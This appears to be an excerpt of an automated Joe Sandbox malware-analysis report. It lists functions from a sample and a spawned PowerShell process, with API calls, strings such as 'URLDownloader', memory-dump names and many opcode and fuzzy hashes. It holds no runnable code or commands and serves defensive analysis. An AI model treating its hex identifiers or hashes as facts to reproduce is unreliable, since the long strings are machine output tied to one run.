Instruction ID: e11346addbbd0b20877a0dd20a8321200fe6c64d5ca488d70c2580f7c5b0b6f1
Opcode Fuzzy Hash: c66be37b7fa5c5e393c4edeaf5cfb5ebc56572853e82811de3f62df1bd00dbee
Instruction Fuzzy Hash: 0C212439544215ABEF01DBB49C027DD37A1EF0E3A4F108009F5966F1C2CB32E6C5C6AA

Function 10011F50 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011F5D
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011F6A
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011F75
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011F82

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?egptr@?$basic_streambuf@
String ID:
API String ID: 2950233615-0
Opcode ID: 1e4bcc0d99ed487de32ae37c9549659cbe616bda3220ddbe920771c154be9835
Instruction ID: d4953d2e9632dab8d67af48db5b56fd773fcfbd27f84caad3cc3cb56b92c495c
Opcode Fuzzy Hash: 1e4bcc0d99ed487de32ae37c9549659cbe616bda3220ddbe920771c154be9835
Instruction Fuzzy Hash: FA110D74E00119EFCB58DFA4D9959EDB7B5FF48200B1181A9E805AB351EB30EF45DB90

Function 10012C30 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,?,10012136), ref: 10012C3A
?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,10012136), ref: 10012C4D
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,10012136), ref: 10012C5C
?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z.MSVCP140(100120FA,100120FA,100120F9,?,10012136), ref: 10012C80

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?eback@?$basic_streambuf@$?egptr@?$basic_streambuf@?setg@?$basic_streambuf@D00@
String ID:
API String ID: 3089488326-0
Opcode ID: 31da55f76b99386bfca52db2829809a8af7d29f5ef04e72f75014f1d39d39b3f
Instruction ID: 718b455e6a9fe28b5531d214fab6855221ed4fdccad38d515428ce19cb46a070
Opcode Fuzzy Hash: 31da55f76b99386bfca52db2829809a8af7d29f5ef04e72f75014f1d39d39b3f
Instruction Fuzzy Hash: 97F0AF74901108EFCB48DF98CD9599EB7B6FF48305B20819AE406A3351DB31AF15DB54

Function 008E6BCB Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000001), ref: 008E6BDD
GetCurrentThreadId.KERNEL32 ref: 008E6BEC
GetCurrentProcessId.KERNEL32 ref: 008E6BF5
QueryPerformanceCounter.KERNEL32(?), ref: 008E6C02

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 842f5c9d0410f161de26bc26939d162bf704e3e37519bf8139df35696172d6f0
Instruction ID: 6b5b90a3d804e5009f3a100d95e0ac76ac391a824cc924ed74941b345312ade6
Opcode Fuzzy Hash: 842f5c9d0410f161de26bc26939d162bf704e3e37519bf8139df35696172d6f0
Instruction Fuzzy Hash: 2CF05F74D1021DEBDB41DBB4CA8999EBBF4EF1C204BA18695E412E6110E630AB489B50

Function 10005540 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 10005573
Concurrency::task_continuation_context::task_continuation_context.LIBCPMTD ref: 10005672

Strings

.exe, xrefs: 100055D5

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Concurrency::task_continuation_context::task_continuation_contextFileModuleName
String ID: .exe
API String ID: 2188046178-4119554291
Opcode ID: 3b2a378ae6b5d3c41a68bce81ab8d2cf5858c1a4f11638c67dec6678d81bd9d9
Instruction ID: 322e95b2db96aea7f088eda3d8bee12a526519093e635f9f9e857dc9ab2affb0
Opcode Fuzzy Hash: 3b2a378ae6b5d3c41a68bce81ab8d2cf5858c1a4f11638c67dec6678d81bd9d9
Instruction Fuzzy Hash: 15513774C04248EFEB15CBA4CC91BEEBBB5EF15300F148199E1167B296DB746B48CBA1

Function 10015F82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(1001C31C,?,URLDownloader,?,100015AC,1001C6D4), ref: 10015F8D
ReleaseSRWLockExclusive.KERNEL32(1001C31C,?,100015AC,1001C6D4), ref: 10015FC7

Strings

URLDownloader, xrefs: 10015F85

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: URLDownloader
API String ID: 17069307-1891997712
Opcode ID: c507f487d7d077287d29d7c699356b7419b72d79d52241de38d01319ea44f226
Instruction ID: 6adcf340ed2f6481699652d891028e0f11606ccd9733c9b7c4ba67a8641b8b52
Opcode Fuzzy Hash: c507f487d7d077287d29d7c699356b7419b72d79d52241de38d01319ea44f226
Instruction Fuzzy Hash: 24F08234500618DFD310DF18C884E1977A4EB49676F15423DE9698F291C731D982CA52

Analysis Process: powershell.exePID: 7680, Parent PID: 7628COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 044BB470 Relevance: .3, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e027ffa036cefa394de507a71af34a5ec5eb46c05e1a99f8a33ddf834f3d0eef
Instruction ID: b9fef6662d843ff6804efd60ade10e40aeb6f796d97323337e972a3ffaf00395
Opcode Fuzzy Hash: e027ffa036cefa394de507a71af34a5ec5eb46c05e1a99f8a33ddf834f3d0eef
Instruction Fuzzy Hash: 5C918471A01654AFEB19EFB888105AF7BF2EF84B10B00C91DD546AB740DF346D069BE5

Function 044BB490 Relevance: .3, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c40606afb28dd1a05d3f0ff831a2d625aaf7d48dac0ffc36bc484c67f63ee7
Instruction ID: 68298f266d573a722c9b276bca9132493b98c9288f7d24b0e721e0fd5aff863b
Opcode Fuzzy Hash: e9c40606afb28dd1a05d3f0ff831a2d625aaf7d48dac0ffc36bc484c67f63ee7
Instruction Fuzzy Hash: 76914171A01618AFEF59EBB884105AF7BF2EF84B10B00C91DD506AB740DF346D069BE5

Function 07332308 Relevance: 8.1, Strings: 6, Instructions: 648COMMON

Download Yara Rule

Strings

|,dk, xrefs: 073325DB
pibk, xrefs: 07332582
pibk, xrefs: 073323B0
pibk, xrefs: 07332363
pibk, xrefs: 073323A0
pibk, xrefs: 07332416

Memory Dump Source

Source File: 00000004.00000002.1362601776.0000000007330000.00000040.00000800.00020000.00000000.sdmp, Offset: 07330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7330000_powershell.jbxd

Similarity

API ID:
String ID: pibk$pibk$pibk$pibk$pibk$|,dk
API String ID: 0-2914658708
Opcode ID: ff0b6dad33c690c4ad1eedd2636f4602c26d1dc361114662c9a52e3a28ce0eba
Instruction ID: 17fe850eba1e28973d6630451067f0930ce699b31223234837c876977f981af6
Opcode Fuzzy Hash: ff0b6dad33c690c4ad1eedd2636f4602c26d1dc361114662c9a52e3a28ce0eba
Instruction Fuzzy Hash: A82213B5B00316DFFB358FA988407ABB7E5BF85211F1480AAE9099B251DF35CD41CBA1

Function 08496421 Relevance: 1.6, APIs: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(EFD807F3), ref: 0849648A

Memory Dump Source

Source File: 00000004.00000002.1365410846.0000000008490000.00000040.00000800.00020000.00000000.sdmp, Offset: 08490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8490000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 4c3fd551c59466669687902101ec6545b537284fdb66ee5fda64711e7b30f728
Instruction ID: c2f5a7fb422c797764c539083d7046b822829f75521f5923eccb3d94b2bb834e
Opcode Fuzzy Hash: 4c3fd551c59466669687902101ec6545b537284fdb66ee5fda64711e7b30f728
Instruction Fuzzy Hash: EA1116B59006488FDB10DF9AD845BDEFBF8EB88324F14842AD458A7350C774A944CFA5

Function 08496428 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(EFD807F3), ref: 0849648A

Memory Dump Source

Source File: 00000004.00000002.1365410846.0000000008490000.00000040.00000800.00020000.00000000.sdmp, Offset: 08490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8490000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 6d41e8e4c873de1ce70f6aaa49a918b9dd61b00d108a4857aa3921b9aed3137a
Instruction ID: 62837b770f9a67d21002eca3e62406d953e57c408fa05fdc331f6958e019924c
Opcode Fuzzy Hash: 6d41e8e4c873de1ce70f6aaa49a918b9dd61b00d108a4857aa3921b9aed3137a
Instruction Fuzzy Hash: 2C1106B59007488FDB10DF9AC844BDEFBF8EB88324F14842AD458A7350C774A944CFA5

Function 07333CE8 Relevance: .6, Instructions: 585
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1362601776.0000000007330000.00000040.00000800.00020000.00000000.sdmp, Offset: 07330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14ba97773e67251c5a74549f1a62e117021c78160c490eab3a01a87b128987c3
Instruction ID: d23f10c53fb306840abc719d95fef7d12daf338af0d6a2c0d827dc76132bb7a5
Opcode Fuzzy Hash: 14ba97773e67251c5a74549f1a62e117021c78160c490eab3a01a87b128987c3
Instruction Fuzzy Hash: BA1249B2B043459FEB359BA8980077ABBA6AFC1215F14C0BAD509DF251DF35CC52C7A2

Function 044B29F0 Relevance: .2, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27e1c50026f8a3f376f6e20c4b59dbf2fe9d5a0aff2580760530961ef4e35662
Instruction ID: 3ca6069426130b76a6ca7d4373b84ad7ffb7245f46276765a12811685485dc7c
Opcode Fuzzy Hash: 27e1c50026f8a3f376f6e20c4b59dbf2fe9d5a0aff2580760530961ef4e35662
Instruction Fuzzy Hash: E7917D74A00605CFCB15CF98C598AAEFBB1FF48310B24859AD855AB365C735FC51CBA0

Function 044BBAC0 Relevance: .2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92ed3a2575cf3916079ba9d267398769d6cacd5eed2217d7be38aec6137c7df8
Instruction ID: 098f232d9163aaaeab7b791aea23589277ac64f26d1ce234c76f09e4d5ddd6d1
Opcode Fuzzy Hash: 92ed3a2575cf3916079ba9d267398769d6cacd5eed2217d7be38aec6137c7df8
Instruction Fuzzy Hash: 9961F471E01288DFDB15CFA9C5846DDBBF1EF88310F14812AE819AB754EB74AC41CBA0

Function 044B7740 Relevance: .2, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07e2d81ee5e5cdc715bc7e63c9f915d3be02d28ed12c1ea05d92bd69990e60cc
Instruction ID: d4fa9b4d71c628340b6f1265e8bc87a94b0fadb9236bc0ed3981b1c03db87c62
Opcode Fuzzy Hash: 07e2d81ee5e5cdc715bc7e63c9f915d3be02d28ed12c1ea05d92bd69990e60cc
Instruction Fuzzy Hash: C451BD313042059FEB14DBA5D854BAB77EAFFC8215F14856AD589DB391EB31EC02CBA0

Function 044BBAB0 Relevance: .2, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e29b642de6d89f3600c8e3bf1184f6c838bae430751564085b7b8ddce0d8418
Instruction ID: 0cef7e865805a47a96ad367b8cf451f3706a3335a6f74b07be9b7334b743b46d
Opcode Fuzzy Hash: 1e29b642de6d89f3600c8e3bf1184f6c838bae430751564085b7b8ddce0d8418
Instruction Fuzzy Hash: BC511871E01288DFDB15CFA9D484ADDBBF1EF88310F14802AE859AB754DB34AC45CBA0

Function 07333CCC Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1362601776.0000000007330000.00000040.00000800.00020000.00000000.sdmp, Offset: 07330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7093135b006dbe8a055dc5d71b70a0b81f34cf80d9cbf9fa4420855e1eaf74e
Instruction ID: 8b205d4b43f6ae68bf88cb28027e1aa282eb1c4f1f389a85cfc1c447afac7f4d
Opcode Fuzzy Hash: c7093135b006dbe8a055dc5d71b70a0b81f34cf80d9cbf9fa4420855e1eaf74e
Instruction Fuzzy Hash: 0F4117F2B042028FEB358F54C9006AAB7B6AF84255F18C1A5D9099F355CB39ED46CBA1

Function 044B6FE0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e532d00c71f6cd0b9e8f4c6751654d557d22b352938ec4e0d6c130fa5277b0
Instruction ID: 7cdbad4d334058697a66186dd43e74c11a0d51f322e3e1c3d6b8ea332e09acf9
Opcode Fuzzy Hash: 88e532d00c71f6cd0b9e8f4c6751654d557d22b352938ec4e0d6c130fa5277b0
Instruction Fuzzy Hash: 2E414A34B046058FDB18DFA4C458AAEBBF2EF8D311F14509AD446AB391DB35EC02CBA0

Function 044B2B00 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c96d97cd8840c3b4a53f42070877f6bc89b1e251a98a9da007e4669133c83b6a
Instruction ID: 6e9169b120d25f21d1d00ef9a0448e7799a092cd5f766dbe364a784f4b9aa0b7
Opcode Fuzzy Hash: c96d97cd8840c3b4a53f42070877f6bc89b1e251a98a9da007e4669133c83b6a
Instruction Fuzzy Hash: A3414C74A006059FCB0ACF58C598AEEF7B1FF48310B15859AD856AB364C776FC51CBA0

Function 044BC388 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda89a0f6b996f087265308649d7be1fa257a0bd9929a408ca48633a5d97001d
Instruction ID: 25ff9a8ccb6f5ca9a3a1b944352bbb08636b5d24ed79c6f76b520913bc746829
Opcode Fuzzy Hash: cda89a0f6b996f087265308649d7be1fa257a0bd9929a408ca48633a5d97001d
Instruction Fuzzy Hash: 92319E313002009FE715EB79D894B9AB792FFC4214F148229D60ACB350DF71E846CBA1

Function 044B6FD1 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 288e874d0f6c1d74ffb166b37a044cfb7e66f74a8206900e9d0ff65d1c0abd35
Instruction ID: 0b67b7847d8b2fd41b6ba2ab7361b279d6c81f1e9ab94149242b8178a335d3e4
Opcode Fuzzy Hash: 288e874d0f6c1d74ffb166b37a044cfb7e66f74a8206900e9d0ff65d1c0abd35
Instruction Fuzzy Hash: 01310A34A006158FDB14CFA8C598AAEBBF2EF8D311F14909AD446AB351DB31EC41CB60

Function 044BAE60 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b279e89a5a60a7ab03e917a5fc4c3f7ab1b546bbc95f74b18bb2f01fa82473c9
Instruction ID: 53f9665b8996cdcfe253a0096b19233675e5098f6d4fab0ba58615cfe09c17ee
Opcode Fuzzy Hash: b279e89a5a60a7ab03e917a5fc4c3f7ab1b546bbc95f74b18bb2f01fa82473c9
Instruction Fuzzy Hash: 08312B74A016099BEF14DFB9D4957EEBBF6EF88310F14802AE415EB350EB749C418BA1

Function 044BAD28 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6bbc472b4992ffe2b7422d9f424f26cf07786046d67dfd0998f4ea236e3c60e
Instruction ID: ad683d9cc8c75634839c043add42590e0998ee2c8fd6e98493851985eab9226f
Opcode Fuzzy Hash: f6bbc472b4992ffe2b7422d9f424f26cf07786046d67dfd0998f4ea236e3c60e
Instruction Fuzzy Hash: 50318474A042489FEB00DBA4D855AFE7BB2EF84304F11846AD511AB395DF78AD41CBA1

Function 044BE049 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1dac630ab1580459494d6a4a1a3cf40adddb3652b2b1adb6738545125778852
Instruction ID: 0dc5de850408eda1b958985285cf308e78da96324a11c5b041269ea5818bc339
Opcode Fuzzy Hash: b1dac630ab1580459494d6a4a1a3cf40adddb3652b2b1adb6738545125778852
Instruction Fuzzy Hash: 8D314D71A002048FDB14DF68D4546EEBBF6EF8C315F14816AD806E73A0DB35AC81CBA1

Function 044BAE70 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa11553939d45fb1a4bdfe8d0c85680691ad5904c27738e736698a960ea5a01
Instruction ID: 22525c2f5985a69fbb348c7cf830934b1e8b1c4451aed90ce3316d0d9a55cd6f
Opcode Fuzzy Hash: 4aa11553939d45fb1a4bdfe8d0c85680691ad5904c27738e736698a960ea5a01
Instruction Fuzzy Hash: FF312B70A012099BEF14DFB9D4947EEBBF6AF88310F15802AE415EB350EB749C418BA1

Function 044BAF98 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 564725a9c1d7297c4e9ea28a05e9a0ae3b092c95a54b993fb5893f64e5dfc1c6
Instruction ID: 78f0d12cfc779222d10c17276d0d749738d0f5ab1da845a5fb6e7ef1fe53efd8
Opcode Fuzzy Hash: 564725a9c1d7297c4e9ea28a05e9a0ae3b092c95a54b993fb5893f64e5dfc1c6
Instruction Fuzzy Hash: DD21ED71A042588FDB10DBAED4407EEBBF5EF88320F14842AD448E7340CB74A846CBE5

Function 044B93F0 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed628f53318586c382ce05163a5fe38009d7212c9f460f2ec44707e45521fa6
Instruction ID: d8df4de0af3996084ca73e7a613b9f2202733fed33ed34d41babee2ea2fff4f8
Opcode Fuzzy Hash: aed628f53318586c382ce05163a5fe38009d7212c9f460f2ec44707e45521fa6
Instruction Fuzzy Hash: 4A31ADB19057048EDB60CF6AD4893CAFBF2EB88320F28C41AD59D97304D67464818BA1

Function 044BE058 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c58d1cd0d8a29c621f0048f264e0704367780bfb3e7e7e08ad93a51e6a22da
Instruction ID: 8acdccd14ad2ea56263bcde5fabb0e15ec00d4cd3aa2d7887c9e2759eb46ad0a
Opcode Fuzzy Hash: 07c58d1cd0d8a29c621f0048f264e0704367780bfb3e7e7e08ad93a51e6a22da
Instruction Fuzzy Hash: 23311A70A002048FDB14DF68D458AEEBBF6EF8C315F149569D406E73A4DB75AC81CBA0

Function 044BAD38 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352425125.00000000044B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_44b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355c000edc6c9a33af321fa23ef8e2410773bca39d086a0e4dca24d55170ca13
Instruction ID: ad7969bf87c28d4a9f68fce07ec5fa68273ef0c9869fd0d66191e73ac0e17a0e
Opcode Fuzzy Hash: 355c000edc6c9a33af321fa23ef8e2410773bca39d086a0e4dca24d55170ca13
Instruction Fuzzy Hash: 87312474A002099FEB04EFA8D854ABE77B2EF84304F118569D515BB394DF75AD01CFA1

Function 0430F3D8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352037699.000000000430D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0430D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_430d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6df64cedfffe7817a428c677acdf609713c588fce5709cc7ea23b7683ff4be6f
Instruction ID: d9ece5e63c37db9a01456958236f7d531e50028023299761965f5881682a19c5
Opcode Fuzzy Hash: 6df64cedfffe7817a428c677acdf609713c588fce5709cc7ea23b7683ff4be6f
Instruction Fuzzy Hash: 7A212472604300EFDB15CF50D9D0B26BB65FB88314F34C6ADED090A296C376E456CBA2

Function 0430F02C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352037699.000000000430D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0430D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_430d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc1f9bb7aef52c741fcc8b9d64162643074082276acacefd78e2569e6f3cccd
Instruction ID: 316664ac6ec4b9c0d25c0f69fd7c8b8cdb475fe3c8fa7da096feeecd63bf04cd
Opcode Fuzzy Hash: fbc1f9bb7aef52c741fcc8b9d64162643074082276acacefd78e2569e6f3cccd
Instruction Fuzzy Hash: 1F214971604700DFDB24DF10D9D0B26BB65FB84314F24C66DDA094B682C3B6E446CB61

Function 0430F4CC Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1352037699.000000000430D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0430D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_430d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaa4dd0c5e085e3762c1d6b0761792fc25592d1037c22869461c4c07c71260ff
